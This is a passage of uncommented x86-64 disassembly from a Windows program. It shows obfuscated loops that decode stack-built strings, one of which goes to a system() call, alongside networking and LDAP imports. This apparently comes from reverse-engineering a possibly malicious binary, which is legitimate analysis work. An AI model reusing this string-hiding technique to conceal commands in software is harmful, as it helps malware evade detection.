lea edi, [r9 + rcx]
sub dil, 0x44
jmp 0x1400fb179
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400fab33
movabs rcx, 0x49ea7a1ed2585ea4
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x7c
jmp 0x1400fb17c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400faf28
movabs rcx, 0x3c818903e7853f50
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fa603
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400faf59
movabs rdx, 0x94b87728a9670560
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fb1b7
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400faae0
movabs rcx, 0xecef654d6b48cb70
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x10
jmp 0x1400fb179
movabs rdx, 0xf5942fbbb0ee1da0
add rdx, r10
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r10 + 0x2c0]
sub dil, al
sub dil, 0x60
add dil, dl
add dil, r9b
jmp 0x1400fb128
movabs rdx, 0x21afa6ce11df00a8
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
sub dil, byte [rbp + r10 + 0x2c0]
add dil, r9b
add dil, dl
jmp 0x1400fb1b7
movabs rdx, 0x5c1791e662594b1c
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400fb25b
movabs rdx, 0x2ffc1ad401686814
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x1400fb1eb
movabs rdx, 0xaba9b59cde95befc
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fb179
movabs rcx, 0x5372c7781cb3f8ec
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x74
dec r10
inc r10
jmp 0x1400fa603
movabs rcx, 0xfb3bd9535ad232dc
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
jmp 0x1400fb0ce
movabs rdx, 0xa304eb2e98f06ccc
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movabs rdx, 0xdf8674328075ac1c
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x2c0], cl
inc r8
dec r10
inc r10
jmp 0x1400fa603
movabs rdx, 0x1eb285f7761dc3b4
mov ecx, 0xa
add rdx, r10
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movabs rdx, 0xba1eb44e1668f24
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r9b
add cl, dil
add cl, dl
mov byte [rbp + r10 + 0x2c0], cl
jmp 0x1400fb179
movabs rdx, 0xf2970ee5152ce0ac
mov ecx, Ordinal_41
add rdx, r10
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400fa603
mov r9, r11
movabs rcx, 0x9a6020c0534b1a9c
add rcx, r10
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x44
movabs rdx, 0x37bd62574257722c
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x34
add cl, dl
movzx eax, cl
mov byte [rbp + r10 + 0x2c0], al
inc r8
add rax, r8
sub r10, rax
movabs rdx, 0x4dcb1de072cfe3b0
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x2c0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fa603
movabs rdx, 0x4229329b9169548c
add rdx, r10
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, dl
movzx eax, byte [rbp + r10 + 0x2c0]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fa603
movabs rcx, 0x75226e462e92f994
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
jmp 0x1400fa600
movabs rdx, 0x4906f733cda2168c
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fa5e5
lea rdx, [rbp + 0x16c4770]
jmp 0x1400fb2da
lea rdx, [rbp + 0x124b8f4]
jmp 0x1400fb2da
lea rdx, [rbp + 0x2c0]
lea rcx, [rbp - 0x18]
call fcn.140046ad0
mov rcx, rax
call fcn.1400e07a0
lea rcx, [0x140276940]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov byte [rbp + 0x380], 0x47
mov byte [rbp + 0x381], 0xb1
mov byte [rbp + 0x382], 0x53
mov byte [rbp + 0x383], 0xb3
mov byte [rbp + 0x384], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0x385], 0xb5
mov byte [rbp + 0x386], Ordinal_35
mov byte [rbp + 0x387], 0xb7
mov byte [rbp + 0x388], Ordinal_50
mov byte [rbp + 0x389], 0xa9
mov byte [rbp + 0x38a], gethostname
mov byte [rbp + 0x38b], 0xab
mov byte [rbp + 0x38c], Ordinal_79
mov byte [rbp + 0x38d], 0xad
mov byte [rbp + 0x38e], Ordinal_143
mov byte [rbp + 0x38f], 0xaf
mov byte [rbp + 0x390], 0x46
mov byte [rbp + 0x391], 0xa1
mov byte [rbp + 0x392], 0x3d
mov byte [rbp + 0x393], 0xa3
mov byte [rbp + 0x394], gethostname
mov byte [rbp + 0x395], 0xa5
mov byte [rbp + 0x396], 0x86
mov byte [rbp + 0x397], 0xa7
mov byte [rbp + 0x398], 0xcb
mov byte [rbp + 0x399], 0x59
mov byte [rbp + 0x39a], Ordinal_200
mov byte [rbp + 0x39b], 0x5b
mov byte [rbp + 0x39c], 0xbb
mov byte [rbp + 0x39d], 0x5d
mov byte [rbp + 0x39e], 0xc0
mov byte [rbp + 0x39f], 0x5f
mov byte [rbp + 0x3a0], Ordinal_143
mov byte [rbp + 0x3a1], 0x51
mov byte [rbp + 0x3a2], 0xcb
mov byte [rbp + 0x3a3], 0x53
mov byte [rbp + 0x3a4], 0xca
mov byte [rbp + 0x3a5], 0x55
mov byte [rbp + 0x3a6], 0x56
mov byte [rbp + 0x3a7], 0x57
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3a8], xmm0
mov dword [rbp + 0x3b8], eax
mov byte [rbp + 0x3bc], al
movabs rsi, 0x898b15df2a198b08
movabs r12, 0xa5069f84881998e8
movabs r14, 0x9a989cf5e5e605f8
movabs r15, 0x508b5decd5b2d428
movabs r13, 0x67e1ee3c57fa258
movzx edi, byte [rbp + 0x530]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x3d
jae 0x1400fc20e
movzx r9d, byte [rbp + r10 + 0x380]
mov r11, r9
nop word [rax + rax]
cmp rbx, r10
ja 0x1400fc205
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400fb4bc
lea rcx, [r10 + r12]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x58
jmp 0x1400fb4f6
je 0x1400fc17a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400fc0d3
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400fc094
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400fc045
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400fbfed
cmp r8, r10
ja 0x1400fc1fc
lea rax, [r8 + 0x5a]
cmp rbx, rax
jae 0x1400fb520
lea rcx, [r10 + rsi]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
jmp 0x1400fb570
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400fbfdc
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400fbfb1
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400fbf9d
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400fbf79
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400fbf51
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400fbf1b
nop
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x1400fbb85
nop dword [rax]
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x1400fbb71
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400fbb44
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x1400fbb1a
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400fbaf2
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x1400fbade
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x1400fbaba
lea rcx, [r8 + 0x1000]
cmp rbx, rcx
je 0x1400fba95
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400fba6d
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400fba37
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400fb580
mov rbx, rcx
lea r8, [rcx + 6]
lea rax, [r8 + 9]
cmp rcx, rax
jb 0x1400fc1d8
lea rax, [r8 + 5]
cmp rcx, rax
jb 0x1400fc1b0
lea rax, [r8 + 0x3e8]
cmp rcx, rax
jb 0x1400fb766
lea rax, [r8 + 6]
cmp rcx, rax
jb 0x1400fb74b
lea rax, [r8 + 0x400]
cmp rcx, rax
jb 0x1400fb72c
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x1400fb9d8
lea rax, [r8 + 4]
cmp rcx, rax
jb 0x1400fb977
lea rax, [r8 + 0x200]
cmp rcx, rax
jb 0x1400fb924
lea rax, [r8 + 0x42]
cmp rcx, rax
jb 0x1400fb8f1
lea rax, [r8 + 2]
cmp rcx, rax
jb 0x1400fb580
lea rbx, [r8 + 0x40]
lea r8, [rbx + 0x64]
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x1400fb8ba
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x1400fb892
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400fb86a
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x1400fb846
lea rax, [r8 + 0x28]
cmp rbx, rax
ja 0x1400fb825
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x1400fb800
lea rcx, [r8 + 0x7a]
cmp rbx, rcx
ja 0x1400fb7d6
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400fb7a9
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x1400fb781
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400fb580
mov rbx, rcx
lea r8, [rcx + 9]
jmp 0x1400fb580
lea rdx, [r10 + r14]
movzx eax, dl
and al, r9b
mov ecx, Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fb570
lea rcx, [r10 + r15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x1400fb4f6
lea rcx, [r10 + r13]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
jmp 0x1400fb487
movabs rdx, 0x4c58aef950cc5840
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fc010
movabs rcx, 0x24b6ff040992670
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
inc r8
dec r10
inc r10
jmp 0x1400fb474
movabs rcx, 0xb83e30e73065f4a0
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
dec r10
inc r10
jmp 0x1400fb474
movabs rdx, 0x6e30f1de2032c2d0
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400fc065
movabs rcx, 0x2423b2d50fff9100
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
jmp 0x1400fc0b7
movabs rcx, 0xda1673cbffcc5f30
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x1400fc0ba
movabs rdx, 0x900934c2ef992d60
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fc0f9
movabs rdx, 0x45fbf5b9df65fb90
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fc12e
movabs rcx, 0xfbeeb6b0cf32c9c0
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x40
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fb474
movabs rdx, 0xc2cd991a26b2cd38
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
mov byte [rbp + r10 + 0x380], dil
inc r10
jmp 0x1400fb474
movabs rdx, 0x78c05a11167f9b68
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x40
jb 0x1400fb914
movabs rdx, 0xc0a38ece3a32ec70
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x20]
jmp 0x1400fc010
movabs rdx, 0x2eb31b08064c6998
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
add dil, dl
cmp rbx, 0x1000
jae 0x1400fbebf
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x1400fbdb3
movabs rcx, 0xdc1f18739832fa50
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
jmp 0x1400fb947
movabs rcx, 0xe4a5dbfef61937c8
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
lea rax, [r8 + rbx]
cmp rax, 0x20
je 0x1400fbeef
lea rax, [r8 + 0x40]
cmp rbx, rax
jbe 0x1400fbc79
movabs rdx, 0x529402946e196f48
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400fb997
movabs rcx, 0x3942833afc994230
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fb474
movabs rdx, 0xef354431ec661060
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fc12e
movabs rdx, 0xa5280528dc32de90
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400fc0f6
movabs rcx, 0x5b1ac61fcbffacc0
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x40
jmp 0x1400fc0ba
movabs rdx, 0x110d8716bbcc7af0
mov ecx, gethostname
jmp 0x1400fc0a3
movabs rdx, 0xc700480dab994920
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fc068
movabs rcx, 0x7cf309049b661750
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x30
dec r10
inc r10
jmp 0x1400fb474
movabs rcx, 0x32e5c9fb8b32e580
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
inc r8
dec r10
inc r10
jmp 0x1400fb474
movabs rdx, 0xe8d88af27affb3b0
mov ecx, Ordinal_26
jmp 0x1400fbffc
lea rax, [r8 + 6]
cmp rbx, rax
jae 0x1400fbba9
lea rcx, [r10 + r12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
jmp 0x1400fb9f7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fbbe9
movabs rcx, 0x13162bbe54331610
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x70
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fb474
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400fbc16
movabs rcx, 0x5d236ac7646647e0
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x1400fc12e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fbc47
movabs rdx, 0xa730a9d0749979b0
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fc0f9
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400fb9f7
movabs rcx, 0x3b4b27e294ffdd50
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x30
jmp 0x1400fc0b7
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fbcaa
movabs rdx, 0x9ca1419d7e4ca118
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_46
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fc010
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400fbce1
movabs rcx, 0xe6ae80a68e7fd2e8
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x58
inc r8
dec r10
inc r10
jmp 0x1400fb474
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fbd14
movabs rcx, 0x30bbbfaf9eb304b8
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
dec r10
inc r10
jmp 0x1400fb474
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400fbd41
movabs rcx, 0xee37ccacf4c9a28
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x1400fc0ba
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400fbd6f
movabs rdx, 0x58f0bbd3df7fcbf8
add rdx, r10
movzx eax, r9b
and al, dl
mov ecx, Ordinal_30
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
jmp 0x1400fc0f6
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x1400fb99a
movabs rcx, 0xed0b39e5ffe62f98
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x28
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fb474
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400fbdf6
movabs rdx, 0x262c577ca8662c20
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fb474
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400fbe24
movabs rdx, 0xba46d58ec8cc8fc0
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x40
jmp 0x1400fc0f6
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400fbe51
movabs rcx, 0x986e92a9f9662530
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x1400fc068
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x1400fbe81
movabs rcx, 0xe27bd1b309995700
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
dec r10
inc r10
jmp 0x1400fb474
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400fb947
movabs rdx, 0x2c8910bc19cc88d0
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x1400fb474
movabs rdx, 0xab0cdd74a661e40
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, byte [rbp + r10 + 0x380]
add dil, dl
add dil, r9b
jmp 0x1400fc068
movabs rcx, 0x54be0ce05a995010
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r10 + 0x380]
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x1400fc0f9
movabs rcx, 0x24024d30bbe64b58
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fb474
movabs rdx, 0xd9f50e27abb31988
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fc12e
movabs rcx, 0x45da90158b4cb5e8
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
jmp 0x1400fc0ba
movabs rdx, 0xfbcd510c7b198418
mov ecx, Ordinal_46
jmp 0x1400fc0a3
movabs rcx, 0x67b2d2fa5ab32078
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x48
dec r10
inc r10
jmp 0x1400fb474
movabs rdx, 0xd39854e83a4cbcd8
mov ecx, listen
jmp 0x1400fbffc
movabs rdx, 0x3f7dd6d619e65938
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r10
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movabs rcx, 0x65aa2e52c24c8558
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x68
add r9b, cl
mov byte [rbp + r10 + 0x380], r9b
inc r8
dec r10
inc r10
jmp 0x1400fb474
movabs rdx, 0x615619bae94cc3c8
add rdx, r10
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x78
add dil, dl
movabs rcx, 0xafb76d5bd27fb728
add rcx, r10
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x18
add r9b, dil
add r9b, cl
mov byte [rbp + r10 + 0x380], r9b
jmp 0x1400fc0b7
movabs rdx, 0x1748dab1d91991f8
mov ecx, Ordinal_30
add rdx, r10
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x1400fb474
mov r9, r11
movabs rdx, 0x832e5c9fb8b32e58
add rdx, r10
movzx eax, dl
and al, r11b
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x68
add dil, dl
movabs rdx, 0xf9c4ac64e2b2e8f8
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rbp + r10 + 0x380], al
inc r8
add rax, r8
sub r10, rax
movabs rcx, 0x9ecb4be96acc81e0
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x20
add cl, r9b
mov byte [rbp + r10 + 0x380], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fb474
movabs rcx, 0xef13de8d984ccab8
add rcx, r10
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 8
movzx eax, byte [rbp + r10 + 0x380]
add rax, r8
add r10, rax
inc r10
jmp 0x1400fb474
movabs rdx, 0xbc70dfdab54c7088
add rdx, r10
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x1400fb471
movabs rcx, 0x7263a0d1a5193eb8
add rcx, r10
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x1400fb461
lea rcx, [rbp + 0x172bf60]
jmp 0x1400fc215
lea rcx, [rbp + 0x8c5848]
jmp 0x1400fc215
lea rcx, [rbp + 0x380]
call fcn.1400e0150
call fcn.1400e5eb0
call fcn.1400e9900
mov byte [rbp + 0x2f0], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x2f1], 0x51
mov byte [rbp + 0x2f2], 0x43
mov byte [rbp + 0x2f3], 0x5d
mov byte [rbp + 0x2f4], 0x5e
mov byte [rbp + 0x2f5], 0x46
mov byte [rbp + 0x2f6], 0x5a
mov byte [rbp + 0x2f7], 0x46
mov byte [rbp + 0x2f8], Ordinal_143
mov byte [rbp + 0x2f9], 0x59
mov byte [rbp + 0x2fa], 0x44
mov byte [rbp + 0x2fb], 0x58
mov byte [rbp + 0x2fc], __WSAFDIsSet
mov byte [rbp + 0x2fd], 0x54
mov byte [rbp + 0x2fe], 0x58
mov byte [rbp + 0x2ff], 0x5c
mov byte [rbp + 0x300], 0x51
mov byte [rbp + 0x301], 0x41
mov byte [rbp + 0x302], __WSAFDIsSet
mov byte [rbp + 0x303], 0xb5
mov byte [rbp + 0x304], 0x9a
mov byte [rbp + 0x305], 0xb9
xor eax, eax
mov qword [rbp + 0x306], rax
mov dword [rbp + 0x30e], eax
mov word [rbp + 0x312], ax
movabs rsi, 0x4286539e7095c149
movabs r12, 0x7d1296447f441565
movabs r14, 0xe917973119f79dd7
movabs r15, 0xeef26aa81b6f730d
movabs r13, 0xf4cd3e1f1ce74843
movzx edi, byte [rbp + 0x530]
nop dword [rax]
call fcn.140139bd0
mov rbx, qword [rax]
call fcn.140139be0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x24
jae 0x1400fcdc6
movzx r9d, byte [rbp + r10 + 0x2f0]
mov r11, r9
nop dword [rax]
cmp rbx, r10
ja 0x1400fcdbd
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x1400fc36c
lea rcx, [r10 + r12]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0x3d
jmp 0x1400fc3a6
je 0x1400fcd35
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400fcc8d
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400fcc2a
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400fcbff
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400fcbad
cmp r8, r10
ja 0x1400fcdb4
lea rax, [r8 + 0x200]
cmp rbx, rax
jae 0x1400fc3d2
lea rcx, [r10 + rsi]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
inc dil
jmp 0x1400fc413
lea rax, [r8 + 1]
cmp rbx, rax
je 0x1400fcb8c
